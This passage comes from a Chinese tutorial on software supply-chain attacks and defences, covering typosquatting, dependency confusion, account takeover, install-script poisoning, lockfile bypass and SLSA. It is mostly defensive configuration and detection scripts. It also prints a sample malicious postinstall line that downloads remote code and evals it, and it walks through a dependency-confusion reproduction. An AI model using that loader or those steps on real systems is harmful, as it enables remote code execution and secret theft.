    print(f'共发现 {len(names)} 个依赖,开始比对热门白名单...\n')

    found = False
    for name in names:
        for pop, reason in suspicious_of(name, popular):
            found = True
            print(f'[!] 疑似拼写抢注:{name}')
            print(f'    疑似目标:{pop}')
            print(f'    判定依据:{reason}')
            # 去掉了下面这行的自动安装提示 —— ★ 脚本绝不能自动安装任何东西
            print(f'    请人工确认:npm view {name}  (看下载量、创建时间、维护者)')
            print()

    if not found:
        print('[OK] 未发现明显的拼写抢注包(注意:这不代表 100% 安全)')


if __name__ == '__main__':
    main()

★ 顺手补充:人工确认一个包是否可信的五个动作(脚本报了警之后该做什么):

# ① 看下载量:热门包通常是百万级/周,抢注包往往是几百
npm view <package> downloads   # 或去 npmjs.com 看 "Weekly Downloads"

# ② 看创建时间:★ 抢注包通常是"最近创建的"
#    一个号称成熟稳定的库,如果创建于 3 天前,几乎肯定是假的
npm view <package> time.created

# ③ 看维护者和仓库地址
npm view <package> maintainers repository.url
#    警惕:maintainer 是随机字符串账号、仓库地址不存在、或指向无关的 GitHub 项目

# ④ 看版本历史:只有一个 1.0.0 版本 = 高度可疑
npm view <package> versions

# ⑤ 看有没有 README 和 LICENSE
#    正经包基本都有;抢注包常常 README 是抄的或空的

防御 2:工程化手段(治本)

措施 做法 防住了什么
Lockfile 锁死 提交 package-lock.json / poetry.lock / yarn.lock,CI 用 npm ci(而不是 npm install) ★ 防住 90% 的抢注:因为包只在 lockfile 里,你不会手滑装错
私服 + 白名单 只从公司 Nexus 拉包,Nexus 只代理白名单内的包(9.6 节) 抢注包根本进不了你的仓库
scope 强制 内部包一律用 @acme/xxx,配置 .npmrc:@acme:registry=https://nexus.acme.com/repository/npm/ 内部包名被抢注也装不到
依赖审批流程 新增依赖要 PR + review,CI 检查 lockfile 变更 有人再看一眼,能发现明显的错字
IDE 插件 装 Socket Security / Snyk 插件,写 import 时直接标红 在写代码时就拦住
★ CI 里禁止 install 新包 CI 只允许 npm ci,禁止 npm install <pkg> 攻击者没法在流水线里偷偷加依赖

9.2.2 姿势二:依赖混淆(Dependency Confusion)

原理:这是 2021 年由安全研究员 Alex Birsan 公开的一种攻击,让他一举拿到了苹果、微软、PayPal、特斯拉、Netflix、Shopify 等 35 家公司的漏洞赏金(总额超 13 万美元)。理解它的前提是理解包管理器的版本选择逻辑。

公司内部有一个私有包:acme-internal-utils,版本 1.0.0
它发布在公司的 Nexus 私服上,公网的 npm registry 上没有这个包。

开发在 package.json 里写:
    "acme-internal-utils": "1.0.0"

现在攻击者在【公网的 npm registry】上注册了一个同名包 acme-internal-utils,
版本号写一个更高的:99.99.99

★ 关键问题:包管理器会装哪个?

  很多包管理器(在配置不当时)的行为是:
    "两个源里都有这个包,那就装【版本号更高】的那个"

  → 装了攻击者的 99.99.99 版本
  → 且它有 postinstall 脚本,安装时自动执行
  → 攻击者的代码跑在你的开发机 和 你的 CI 构建机上

★ 为什么这么容易得手:
  ① 内部包名在企业内部是"公开信息"——
     Birsan 的方法之一就是从 GitHub 上泄露的 package.json、
     JS bundle 文件、PyPI 包、甚至员工的公开代码片段里找内部包名
  ② 很多公司的 .npmrc 配了多个 registry(内网 + 公网),且没有严格的 scope 隔离
  ③ 安装是自动的、静默的,没人会去看装的到底是哪个源的包

各生态的易感性(这是面试常问的):

生态 默认行为 是否容易中招 说明
npm 按 registry 配置走;配了多个源时行为取决于客户端版本和配置 ★ 中 关键在于有没有用 scope 绑定 registry
Python (pip) --extra-index-url 时,会比较所有源的版本,取最高的 ★★★ 最容易 这是 Birsan 案例的主要受害者;pip 不区分源优先级
Ruby (gem) 多源时按源顺序,但版本冲突处理有历史问题 ★★ 中
Maven 按 <repository> 顺序查找,找到第一个匹配的就停 ★ 低(但有别的坑) Maven 是顺序优先,公仓库排后面就安全;但很多人把中央仓库排前面
Go modules GOPRIVATE / GONOSUMDB 配置决定走不走代理 ★ 中 配了 GOPROXY 就容易混淆
Docker image: acme/app:1.0 默认去 Docker Hub ★★★ 高 ★ 你写 mycompany/app 实际上是去 Docker Hub 找 mycompany/app,如果没注册过,谁抢注谁就赢

★ 复现一遍(在安全的实验环境里理解原理)

# ============================================================
# 实验:用 pip 复现依赖混淆(仅用于授权测试环境)
# ============================================================

# 场景:公司私服上有 acme-utils 1.0.0

# 1) 假设攻击者在公网 PyPI 上传了 acme-utils 99.99.99
#    (真实攻击中他会做得更隐蔽:版本号贴近真实版本,如 1.0.1)

# 2) 受害者的 pip.conf 配置(★ 典型的危险配置)
cat > ~/.config/pip/pip.conf <<'EOF'
[global]
index-url = https://pypi.acme.com/simple        # 公司私服
extra-index-url = https://pypi.org/simple       # ★ 又加了公网的!
EOF

# 3) 安装
pip install acme-utils
# ★ 结果:pip 会同时查询两个源,发现公网有 99.99.99,
#   于是【忽略版本约束】(如果约束是 >=1.0.0)装了公网的恶意版本
#   即使约束写的是 ==1.0.0,攻击者也可以直接上传 1.0.0 版本到公网

# 4) 验证装的是哪个
pip show acme-utils | grep -i location
# 如果显示的是 pypi.org 来源的包,说明中招

# ============================================================
# 防御配置(正确写法)
# ============================================================

# ★ 方案 A:pip 用 --index-url + 哈希锁定(推荐)
pip install --index-url https://pypi.acme.com/simple \
            --require-hashes -r requirements.txt

#   requirements.txt 必须带哈希(这是关键):
#   acme-utils==1.0.0 \
#       --hash=sha256:3f9c8b1e... \
#       --hash=sha256:7a2d4f6c...
#   → 即使公网有同名同版本的包,哈希对不上就会拒绝安装

# ★ 方案 B:不要在 pip.conf 里配 extra-index-url
#   需要公网包时,让私服去【代理】公网(Nexus 的 proxy repository)
#   → 所有流量只走一个源,不存在"两个源比较版本"的问题

# ★ 方案 C:用 pip 的 --no-index + 私服(最严格)
pip install --no-index --find-links https://pypi.acme.com/simple -r requirements.txt
# ============================================================
# Maven 的正确配置(让私有仓库作为唯一入口)
# settings.xml
# ============================================================
<settings>
  <mirrors>
    <!-- ★ 用 mirrorOf=* 把所有仓库请求都强制转到公司私服 -->
    <!-- 这样开发者 pom.xml 里配的仓库地址全部失效,统一走私服 -->
    <mirror>
      <id>acme-nexus</id>
      <mirrorOf>*</mirrorOf>
      <url>https://nexus.acme.com/repository/maven-public/</url>
    </mirror>
  </mirrors>
</settings>
# ============================================================
# npm 的正确配置:用 scope 绑定内部 registry(★ 最关键的一步)
# .npmrc(放在项目根目录,提交到 git)
# ============================================================

# ① 公司 scope 强制走私服
@acme:registry=https://nexus.acme.com/repository/npm-internal/

# ② 其他包走私服的 proxy(私服再去代理 npmjs.org)
registry=https://nexus.acme.com/repository/npm-proxy/

# ③ 私服的认证(★ 注意:token 不要写死在文件里提交!
#    正确做法是用环境变量,见下)
//nexus.acme.com/repository/npm-internal/:_authToken=${NPM_TOKEN}

# ④ ★ 关键:禁止 npm 回退到默认 registry
#    (防止私服不可用时,npm 偷偷去 npmjs.org 拉同名包)
#    在 CI 里用 npm ci --registry=<私服> 显式指定

# ⑤ 校验:确认每个包来自哪个源
npm config get registry
npm view @acme/utils dist.tarball
#   → 输出的 URL 必须是 nexus.acme.com,不能是 registry.npmjs.org

★ 主动检测:你的内部包名有没有被抢注

#!/usr/bin/env bash
# confusion_check.sh —— 检查内部包名是否在公网被抢注
#
# 思路:
#   1. 从私服拉出所有内部包名
#   2. 逐个去公网 registry 查,如果存在就报警
#   3. 建议【月度巡检】,发现抢注立刻申诉下架 + 改用 scope

set -euo pipefail

PRIVATE_REGISTRY="https://nexus.acme.com/repository/npm-internal"
PUBLIC_REGISTRY="https://registry.npmjs.org"

echo "=== 拉取内部包列表 ==="
# 用 npm search 或私服 API 获取全部内部包
INTERNAL_PKGS=$(curl -s -u "${NEXUS_USER}:${NEXUS_PASS}" \
  "${PRIVATE_REGISTRY}/-/all" \
  | jq -r 'keys[]' 2>/dev/null || echo "")

COUNT=$(echo "$INTERNAL_PKGS" | grep -c . || true)
echo "内部包总数: ${COUNT}"
echo ""

echo "=== 检查是否在公网被抢注 ==="
for pkg in $INTERNAL_PKGS; do
    # 跳过已带 scope 的(scope 包理论上更安全,但也要检查)
    HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
                 "${PUBLIC_REGISTRY}/${pkg}" --max-time 10)

    if [ "$HTTP_CODE" = "200" ]; then
        echo "[!] 疑似被抢注: ${pkg}"
        echo "    公网地址: https://www.npmjs.com/package/${pkg}"
        # 进一步拿详情
        CREATED=$(curl -s "${PUBLIC_REGISTRY}/${pkg}" | jq -r '.time.created // "unknown"')
        echo "    公网包创建时间: ${CREATED}"
        echo "    → 立即处理:① 向 npm 申诉下架 ② 内部包改用 @acme scope ③ 检查是否已被安装过"
        echo ""
    fi
done

echo "=== 检查完成 ==="
echo "建议:把内部包【全部迁移到 @acme scope】并配置 .npmrc 强制绑定,"
echo "      这是防依赖混淆最彻底的办法 —— 攻击者在公网无法注册 @acme 这个 scope(它属于你)。"

防御总结(按有效性排序):

优先级 措施 有效性 说明
★★★ 内部包全部用 scope / groupId 前缀 几乎彻底解决 npm 的 scope、Maven 的 groupId 是独占的,攻击者在公网注册不了
★★★ 单一源 + 代理(不要让客户端同时配内网和公网两个源) 高 从根上消除“版本比较”
★★ 哈希锁定(--require-hashes / lockfile 的 integrity 字段) 高 就算装错了包,哈希对不上会失败
★★ 月度巡检内部包名是否被抢注 中 早发现早申诉
★ 私有仓库名称用不可猜测的形式 中 如 acme-internal-utils-7f3a,降低被枚举的概率(不是根本解法)

9.2.3 姿势三:账户劫持与维护者社会工程

这一类和前两种不同 —— 攻击者不创造新包,而是夺取已有热门包的控制权。这样他拿到的是已经有百万下载量、已经被信任的包。

三种具体手法:

手法 A:维护者账号被钓鱼 / 凭据泄露
    - 维护者用了弱密码、没开 2FA
    - 撞库(其他网站泄露的密码复用)
    - 钓鱼邮件伪装成"npm 官方:请验证你的账号"
    → 攻击者登录后直接 npm publish 新版本

    ★ 真实案例:2018 年 eslint-scope 事件
      攻击者通过钓鱼拿到一个维护者的 npm 账号,
      发布了 eslint-scope 3.7.2,内含偷 .npmrc 凭据的代码。

手法 B:主动"接手"维护不下去的项目(社会责任工程)
    - 攻击者长期观察那些"只有一个维护者、长期不活跃"的热门包
    - 在 issue 里主动帮忙、提交正常补丁、建立信任
    - 然后说:"看你挺忙的,要不要我帮忙维护?"
    - 原维护者(很多是义务维护,早就累了)很乐意交出去
    → 拿到发布权限后,发布带后门的版本

    ★ 真实案例:event-stream(2018)
      原维护者 Dominic Tarr 不想维护了,
      一个叫 right9ctrl 的用户主动提出接手,
      拿到权限后发布了 event-stream 3.3.6,
      加入了 flatmap-stream 依赖,
      该依赖会从 Copay 比特币钱包里偷私钥。
      影响持续 2 个多月,每周下载量 200 万。
      ★ 被发现的原因:有人发现 flatmap-stream 的代码是【混淆过】的,
        而一个正经的字符串处理库没有理由混淆。

手法 C:长期潜伏成为核心贡献者(最贵、最隐蔽)
    ★ 真实案例:xz-utils(2024),见 9.1.3
      攻击者 Jia Tan 用了两年多:
        ① 先以普通贡献者身份提交正常代码
        ② 同时用多个马甲账号(Jia Cheong Tan、 Dennis Ens 等)
           在邮件列表里【制造压力】,抱怨原维护者 Lasse Collin 响应慢
        ③ 原维护者在压力下让出了维护权
        ④ 拿到权限后在发布包里植入后门
      ★ 这个手法没有任何技术漏洞可利用 —— 它攻击的是"人"和"社区流程"。

作为使用者,怎么防(这是面试的重点 —— 因为你防不住上游的人):

措施 具体做法 能防住什么
★ 版本锁定 + 延迟升级 不要跟着 latest 走。新版本发布后等 3~7 天再升级(让社区先“趟雷”) ★ 最有效:event-stream 后门 2 个月才被发现,xz 后门是被偶然发现的 —— 延迟升级让你有机会躲过“刚发布就被抓”的窗口
★ 只升你需要的版本 用 npm update <pkg> 而不是 npm update(全量升级) 缩小变更面,diff 更容易 review
关注维护者变化 用工具(如 Socket.dev)监控“依赖的维护者是否变更” 能发现“接手”事件
检查包的“健康度” 见下方清单 提前识别高风险依赖
lockfile + 哈希 同前 防止“昨天的 1.2.3 和今天的 1.2.3 不是同一个东西”
最小化依赖 能自己写 20 行代码解决,就别引一个包 ★ 最根本:依赖越少,攻击面越小
运行时限制 构建机无外网、无密钥、容器非 root 就算装到恶意包,它也干不成事(兜底)

★ 评估一个依赖“是否值得信任”的健康度清单(可以直接用在代码评审里):

## 引入新依赖前的 10 项检查(建议做成 PR 模板的一部分)

- [ ] 1. 最近一次发布是什么时候?(超过 2 年没更新 = 高风险,可能没人维护了)
- [ ] 2. GitHub star 数 / 周下载量?(<1000 周下载 = 谨慎)
- [ ] 3. 维护者有几个人?(只有 1 个 = 单点风险,参考 event-stream)
- [ ] 4. 维护者是否开启了 2FA?(npm 可以看,也可以提 issue 问)
- [ ] 5. 有没有公开的 SECURITY.md 和安全响应流程?
- [ ] 6. 最近 6 个月的 issue 有没有被回应?(无人回应 = 事实上已无人维护)
- [ ] 7. 传递依赖有多少个?(npm ls <pkg> —— 它带来的"隐藏乘客"也要算)
- [ ] 8. 有没有 postinstall 等生命周期脚本?(有 = 需要额外审查,见 9.2.4)
- [ ] 9. 代码是否被混淆过?(uglify 过的库代码、大量 base64 + eval = 高危信号)
- [ ] 10. 有没有替代品?(优先选:维护者多、下载量大、无脚本、依赖少的)

★ 补充一条给 Java 同学:
   用 mvn dependency:tree 看它带来的传递依赖,
   特别注意那些【和你现有依赖版本冲突】的 ——
   因为冲突时 Maven 的"就近原则"可能导致意外降级,这是另一类风险。

9.2.4 姿势四:生命周期脚本投毒

这一类是前面三种姿势的“执行载体” —— 光装上一个恶意包还不够,攻击者需要让代码跑起来。生命周期脚本就是最方便的触发器。

什么是生命周期脚本:

包管理器在【安装过程中】会自动执行包里声明的某些脚本。
这些脚本拥有【和你一样的权限】(甚至更多,因为在 CI 里可能是 root)。
生态 会自动执行的脚本 触发时机
npm / yarn preinstall、install、postinstall、prepare npm install 时
npm(包被依赖时) ★ 注意:作为依赖被安装时,postinstall 也会执行 你装 A,A 依赖 B,B 的 postinstall 照样跑
npm prepublishOnly、prepack 发布包时
Python setup.py 里的任意代码 pip install <源码包> 时(★ wheel 包不会执行 setup.py)
Ruby extconf.rb、Rakefile 的 extensions gem install 时
Composer (PHP) post-install-cmd、post-update-cmd composer install 时
Go ★ Go 默认不执行任意代码(go generate 需要手动触发) 相对安全
Rust (cargo) build.rs 编译时执行(★ cargo 也有这个风险)

★ 一个关键认知:

很多人以为:"我装的是 lodash 这种库,又不是什么可执行程序,怎么会有危险?"

错。只要这个包的 package.json 里有:
    "scripts": { "postinstall": "node ./scripts/setup.js" }
那么当你 npm install 时,setup.js 就【已经在你的机器上执行过了】。

而且它执行时的权限 = 你执行 npm install 的权限。
在 CI 里,如果 CI 是用 root 跑的,那它就是 root。
它还能读到 CI 注入的所有环境变量 —— 包括 AWS_SECRET_ACCESS_KEY。

真实案例(简化版,来自公开的恶意包样本):

// 恶意包的 package.json —— 伪装成"字体安装助手"
{
  "name": "node-font-installer",
  "version": "1.0.4",
  "description": "Install system fonts for node canvas",
  "scripts": {
    "postinstall": "node -e \"require('https').get('https://cdn.fonts-cdn.com/i.js',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
  }
}
★ 这个 payload 的巧妙之处:
  ① 代码写在一行 -e 里,package.json 看起来只是"一句脚本"
  ② 从远程下载真正的恶意代码再 eval —— 【本地磁盘上没有恶意文件】
     → 杀毒软件扫不到,因为你机器上没有恶意文件
     → 攻击者可以随时更换远程代码(只在特定时间投递 payload)
  ③ 域名 fonts-cdn.com 看起来像一个正常的字体 CDN
  ④ eval 执行,不落地

防御(按重要性排序):

# === 防御 1:★ 最有效 —— 禁用生命周期脚本 ===

# npm(临时)
npm install --ignore-scripts

# npm(永久,★ 推荐写进项目的 .npmrc 提交到 git)
echo "ignore-scripts=true" >> .npmrc

# yarn
yarn install --ignore-scripts

# pnpm(★ pnpm 10+ 默认已经禁用了依赖的构建脚本,这是个大进步)
pnpm install --ignore-scripts

# Python:优先用 wheel,不用 sdist
pip install --only-binary :all: <package>
#   ★ 原理:wheel(.whl)是已经构建好的二进制包,不会执行 setup.py
#            sdist(.tar.gz)才会执行 setup.py
#   → 这条命令强制只装 wheel,没有 wheel 就报错而不是回退到源码包

# ============================================================
# ⚠️ 但这带来一个问题:有些包【必须】跑脚本才能正常工作
# ============================================================
#   典型例子:
#     - esbuild、swc(要下载对应平台的二进制)
#     - node-sass、bcrypt(要本地编译 C++ 扩展)
#     - husky(要装 git hooks)
#     - sharp(要下载 libvips)
#
#   全量 --ignore-scripts 会让这些包装不上/不能用。
#
# ★ 正确的折中做法:白名单制(见下)
// ============================================================
// 防御 2:★ 白名单制(推荐的生产做法)
// 默认禁用所有脚本,只允许明确列出的包执行
// ============================================================

// 方案 A:npm 9.6+ 原生支持(实验特性)
// .npmrc
//   ignore-scripts=true

// package.json 中显式声明允许构建的包
{
  "name": "my-app",
  "npm": {
    "allowScripts": {
      "esbuild": true,      // esbuild 必须跑 postinstall 下载二进制
      "husky": true,        // 需要装 git hooks
      "sharp": false        // 明确禁止
    }
  }
}
// 然后用支持该特性的工具(如 @lavamoat/allow-scripts)执行

// 方案 B:用 @lavamoat/allow-scripts(成熟度更高)
// 安装:npm i -D @lavamoat/allow-scripts
// 配置 allowScripts 字段后运行:
//   allow-scripts auto     → 自动生成配置(列出所有带脚本的包)
//   allow-scripts run      → 只跑白名单里的脚本
# === 防御 3:在 CI 里检测"新出现的安装脚本" ===
# 思路:把上次构建时"有安装脚本的包清单"存下来,
#       下次构建对比,只要【新增了带脚本的包】就告警

#!/usr/bin/env bash
set -euo pipefail

# 从 lockfile 里提取所有带 install/postinstall 脚本的包
node -e '
const lock = require("./package-lock.json");
const out = [];
for (const [path, info] of Object.entries(lock.packages || {})) {
  const s = info.scripts || {};
  const dangerous = ["preinstall","install","postinstall","prepare","prepack"]
    .filter(k => s[k]);
  if (dangerous.length > 0) {
    const name = path.replace(/^.*node_modules\//, "");
    out.push(name + " :: " + dangerous.join(",") + " :: " + JSON.stringify(s));
  }
}
console.log(out.sort().join("\n"));
' > /tmp/scripts_now.txt

if [ -f ./baseline-install-scripts.txt ]; then
    echo "=== 对比基线,检测新增的安装脚本 ==="
    NEW=$(comm -13 ./baseline-install-scripts.txt <(sort /tmp/scripts_now.txt))
    if [ -n "$NEW" ]; then
        echo "[!] 检测到新增/变更的安装脚本,请人工 review:"
        echo "$NEW"
        echo ""
        echo "如果确认是预期的,请更新基线:"
        echo "  cp /tmp/scripts_now.txt ./baseline-install-scripts.txt"
        # ★ 在严格模式下可以 exit 1 阻断流水线
        # exit 1
    else
        echo "[OK] 安装脚本无变化"
    fi
else
    echo "[i] 首次运行,生成基线文件"
    cp /tmp/scripts_now.txt ./baseline-install-scripts.txt
fi
# === 防御 4:★ 兜底 —— 让脚本就算执行了也干不成事 ===

# ① 构建机不给密钥(最重要)
#    CI 里的密钥用 OIDC 动态换取,不用长期 token(9.5.4 详述)
#    → 恶意脚本就算扫了环境变量,也只拿到一个 15 分钟后失效的临时凭证

# ② 构建机限制外网出口
#    只允许访问:包仓库、镜像仓库、制品仓库
#    其他一律拒绝 → 恶意脚本偷了数据也传不出去
#
#    GitHub Actions 的例子(需要自建 runner 才能做网络限制)
#    或者在 K8s 里用 NetworkPolicy:
cat <<'EOF'
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ci-runner-egress-allowlist
  namespace: ci
spec:
  podSelector:
    matchLabels:
      app: ci-runner
  policyTypes: [Egress]
  egress:
    # 允许 DNS
    - to:
        - namespaceSelector: {}
      ports:
        - protocol: UDP
          port: 53
    # 允许访问内部 Nexus / 镜像仓库 / K8s API
    - to:
        - ipBlock:
            cidr: 10.0.0.0/8
      ports:
        - protocol: TCP
          port: 443
    # ★ 默认拒绝其他所有出口(包括公网)
    #   如果需要访问公网包仓库,显式加白名单(用域名不行,要用 IP 段)
EOF

# ③ CI 用非 root 用户跑构建
#    Dockerfile 里:
#      RUN useradd -m -u 1001 builder
#      USER 1001
#    → 恶意脚本没法改系统文件、装 systemd 服务

# ④ 构建容器只读根文件系统 + 临时 /tmp
#    securityContext:
#      readOnlyRootFilesystem: true
#      runAsNonRoot: true
#      runAsUser: 1001

9.2.5 姿势五:版本回滚 / Lockfile 绕过 / 版本号欺骗

这一类攻击者已经拥有发布权限(通过前几种姿势之一),他要做的是让受害者装到恶意版本。

五种具体做法:

① 【覆盖发布】覆盖已存在的版本
   正常规则:npm 不允许重复发布同一版本号(会 403)
   但有些生态允许(或历史上允许):
     - PyPI:删除后可以重新上传同名同版本
     - Docker:tag 是可变的!★ latest 和 1.2.3 都可以被重新 push 覆盖
     - Maven Central:不允许(release 后不可变),但 SNAPSHOT 可以
   → 攻击者先发布一个正常的 1.0.0(积累信任),悄悄替换成恶意的 1.0.0
   → 所有 lockfile 里写了 1.0.0 的项目,下次安装就中招

② 【版本号欺骗】用"看起来像升级"的版本
   - 当前版本 1.2.3,攻击者发布 1.2.4(正常的补丁版)
   - 很多 lockfile 用 ^1.2.3(caret),允许自动升到 1.9.x
   → npm install(不是 npm ci)时会自动拉到恶意的 1.2.4

③ 【降级攻击】故意发布一个更低的版本
   - 某些包管理器在没有精确匹配时会取"可用的最高版本"
   - 但如果你的约束写的是 >=1.0.0 <2.0.0,攻击者发布 1.0.1 恶意版
   → 在 CI 里没有 lockfile 时,会装到这个

④ 【★ 锁文件被绕过】CI 里用了 npm install 而不是 npm ci
   npm install 的行为:
     - 如果 package.json 和 lockfile 不一致,会【更新 lockfile】
     - 如果 lockfile 里没有,会去拉最新的符合约束的版本
   npm ci 的行为:
     - 严格按 lockfile 装,lockfile 和 package.json 不一致就【报错退出】
     - 装之前会删掉 node_modules(干净)
   → ★ CI 里用 npm install 是极其常见的错误,等于 lockfile 白锁了

⑤ 【依赖元数据攻击】在 lockfile 里改 resolved URL
   lockfile 里每个包有 "resolved" 字段(下载地址)和 "integrity"(哈希)
   如果只改 resolved 不改 integrity:
     → npm 会下载新地址的包,然后哈希校验失败,拒绝安装(安全)
   如果【同时改掉 integrity】:
     → npm 认为"你要的就是这个",直接装(★ 这就是为什么要 review lockfile diff)

★ 防御:一张表说清 CI 里该用什么命令

生态 ❌ 危险写法 ✅ 正确写法 差异说明
npm npm install npm ci ci 严格按 lockfile,不一致就报错;且先删 node_modules
yarn (v1) yarn install yarn install --frozen-lockfile 不加这个参数,yarn 会更新 lockfile
yarn (berry) yarn install yarn install --immutable Berry 版的参数名不一样
pnpm pnpm install pnpm install --frozen-lockfile CI 环境 pnpm 默认会加,但显式写出来更安全
pip pip install -r requirements.txt pip install --require-hashes -r requirements.txt 强制哈希校验,禁止非锁定版本
pip-tools pip-sync 前先 pip-compile pip-compile --generate-hashes && pip-sync 生成带哈希的锁定文件
poetry poetry install poetry install --sync + 提交 poetry.lock
Maven 依赖用 RELEASE / LATEST ★ 永远不用 RELEASE/LATEST,写死版本号 Maven 的 RELEASE 会去拉最新版,等于没锁
Go go get -u ./... go mod download + 提交 go.sum go.sum 提供哈希校验
Docker image: app:latest image: app@sha256:xxxx ★ 用 digest 而不是 tag,tag 是可变的

★ Docker tag 可变性 —— 这是最容易被忽略的一个坑

# ===== 问题演示 =====
# 你的 K8s 部署里写着:
#   image: acme/backend:1.2.3

# 你觉得"我锁了版本 1.2.3,很安全"。
# 但攻击者(或内部误操作)可以:
docker tag malicious-image acme/backend:1.2.3
docker push acme/backend:1.2.3
# ★ 同一个 tag,内容被完全替换

# 下次你的 Pod 重启(或者扩缩容)时,
# 新节点会拉取这个 tag 的【最新内容】= 恶意镜像。
# 而已经运行的旧 Pod 还跑着旧镜像 ——
# → 于是你的集群里出现了"同一版本,不同内容"的情况,极难排查。

# ===== 正确做法:用 digest(摘要)锁定 =====
docker pull acme/backend:1.2.3
docker inspect acme/backend:1.2.3 --format='{{index .RepoDigests 0}}'
# 输出:acme/backend@sha256:3f9c8b1e7a2d...

# 部署清单里写【digest】:
#   image: acme/backend@sha256:3f9c8b1e7a2d...
# ★ digest 是镜像内容的哈希,不可变、不可伪造(除非能构造哈希碰撞)

# ===== 更好的做法:tag + digest 一起写(兼顾可读性和不可变性)=====
#   image: acme/backend:1.2.3@sha256:3f9c8b1e7a2d...
#            ↑ 给人看的          ↑ 给机器校验用的
#   K8s 会按 digest 拉取,但人类看 manifest 知道这是 1.2.3 版本

9.2.6 五种姿势对比与“攻击者决策路径”

姿势 攻击者成本 需要的情报 影响范围 检测难度 ★ 最有效的防御
Typosquatting ★ 极低(注册个包) 无 零散(赌手滑) ★ 低(易发现) Lockfile + 私服白名单 + IDE 插件
依赖混淆 ★★ 低 需要知道内部包名 精准(特定公司) ★★ 中 scope 隔离 + 单一源代理 + 哈希锁定
账号劫持 ★★★ 中 维护者信息 ★ 极大(全生态) ★★★ 高 延迟升级 + 哈希锁定 + 运行时限制
社会工程接手 ★★★★ 高(数月~数年) 项目状况 ★ 极大 ★★★★ 很高 延迟升级 + 依赖最小化 + 运行时限制
版本回滚/锁绕过 ★★★ 中(需先有权限) 受害者配置 精准 ★★★ 高 npm ci + digest 锁定 + lockfile diff review

攻击者决策路径图(面试时画出来很加分):

                攻击者拿到了一个目标公司的信息
                           │
          ┌────────────────┼────────────────┐
          │                │                │
    【低成本广撒网】  【中成本精准打】   【高成本潜伏】
          │                │                │
   注册 200 个抢注包   找内部包名        选一个维护者少的
   (赌有人手滑)      (GitHub 泄露/     热门包,花 1~2 年
          │             JS bundle)      成为贡献者
          │                │                │
          │          公网注册同名高版本     │
          │          (依赖混淆)           │
          │                │                │
          └────────────────┼────────────────┘
                           │
                    【需要执行载体】
                           │
                 postinstall / setup.py
                           │
                           ▼
              在【开发机】或【CI 构建机】上执行
                           │
          ┌────────────────┼────────────────┐
          │                │                │
      偷环境变量        偷 SSH/AWS 密钥    植入持久化
      (CI 密钥)      (~/.ssh, ~/.aws)  (改构建产物)
          │                │                │
          └────────────────┼────────────────┘
                           │
                    通过 HTTPS/DNS 外传
                           │
    ★★★ 防守方的三个拦截点 ★★★
    ┌─────────────────────────────────────────────┐
    │ ① 入口拦截:私服白名单 + scope 隔离 + lockfile│
    │    → 恶意包根本装不进来                       │
    │                                              │
    │ ② 执行拦截:--ignore-scripts + 白名单         │
    │    → 就算装进来了,它也跑不起来                │
    │                                              │
    │ ③ 效果拦截:无密钥 + 无外网 + 非 root          │
    │    → 就算跑起来了,它也偷不到、传不出          │
    └─────────────────────────────────────────────┘
    ★ 三层里,【第 ③ 层最容易被忽视,但最可靠】
      因为前两层都有绕过方法,而第 ③ 层是"环境本身的限制"。

9.3 构建产物与制品安全:怎么证明“这个包确实是我构建的”

前面 9.2 讲的都是“别人给我投毒怎么办”。这一节换一个角度:

假设你是一个软件的【发布方】。

现在你要回答用户/客户/审计方一个问题:
  "我怎么知道我下载到的这个 jar / npm 包 / Docker 镜像,
   真的是你们公司官方构建出来的?
   会不会是有人黑了你们的构建机塞进去的?
   会不会是 CDN 被劫持换掉的?
   会不会是你们内部某个员工偷偷改的?"

★ 注意:光有【数字签名】是不够的。
   SolarWinds 的后门就是【用合法证书签名】后发布的。

   签名只能证明"持有这家公司私钥的人签了这个文件",
   不能证明"构建这个文件的过程是干净的"。

   所以要解决的是两个不同层次的问题:
     ① 完整性:这个制品在传输过程中没被改过        → 哈希 / 签名
     ② 来源可信:这个制品是【可复现的、可审计的构建过程】产出的 → Provenance / SLSA

9.3.1 SLSA 框架:把“供应链安全”分成几个等级

SLSA(读作 “salsa”)= Supply-chain Levels for Software Artifacts。 由 Google 在 2021 年(SolarWinds 事件之后)牵头提出,现在是 OpenSSF 旗下的项目,CNCF 生态广泛采用。

一句话:SLSA 是一套分级标准,用来描述一个软件的构建过程有多“可信、可审计、可防篡改”。就像等保 2.0 分五级一样,你可以说“我们的制品达到了 SLSA L3”。

生活类比:餐厅的食品安全等级

你去吃饭,怎么判断这家店干不干净?

  L0(没有任何规范):
     路边摊,你不知道食材哪来的、谁做的、锅洗没洗。
     → "老板说没问题",你只能信他。

  L1(有记录):
     店里贴了个本子,记录了"今天的菜是从哪个菜市场买的"。
     → 至少有据可查,但本子是手写的,可以事后补/改。

  L2(记录被第三方保管 + 有资质):
     进货单是电子的、自动上传到监管平台,且厨师有健康证。
     → 记录不可随意篡改,且加工者身份被验证过。

  L3(全程可审计 + 流程被固化):
     后厨所有操作在监控下完成,监控系统本身有防篡改保护,
     任何人不能单独修改流程,食材来源可追溯到具体农户。
     → 就算有人想搞事,也必须留下痕迹,且需要绕过多个环节。

★ SLSA 就是这个思路,只不过对象从"菜"变成了"软件包":
   它关心的是【构建过程】是否:有记录、记录不可篡改、构建环境隔离、流程不可单人篡改。

SLSA v1.0 的 Build Track 分级(这是 2023 年定稿的版本,面试说这个不会错):

级别 名称 核心要求(一句话) 能防住什么 不能防住什么
L0 无保证 什么都没做。绝大多数项目在这里 什么也防不住 —
L1 构建过程有 provenance 构建时自动生成一份“来源证明”,说明这个制品是怎么被构建出来的(不要求签名、不要求防篡改) ★ 让使用者有据可查:能知道源码仓库、commit、构建命令。出事时能快速定位受影响范围 证明可以被伪造(没签名),也可以被删掉
L2 provenance 被签名 + 构建服务托管 provenance 由构建平台(不是个人)生成并签名;构建运行在托管的构建服务上(如 GitHub Actions、Tekton),而不是开发者本机 ★ 防住“开发者本机被黑后发布假制品”;防住 provenance 被篡改(有签名) 构建服务本身被攻破仍可签发假 provenance(只是提高了门槛)
L3 构建平台被加固到“攻击者无法篡改” 构建环境隔离且不可被单个构建步骤影响:构建步骤之间不共享状态、provenance 由构建平台的可信部分(而非构建脚本)生成、构建无法访问签名密钥 ★ 防住“恶意构建脚本自己伪造 provenance”;防住“一个构建污染另一个构建”(SolarWinds 那种) 源码本身有问题(如维护者植入后门);构建平台本身的 0day

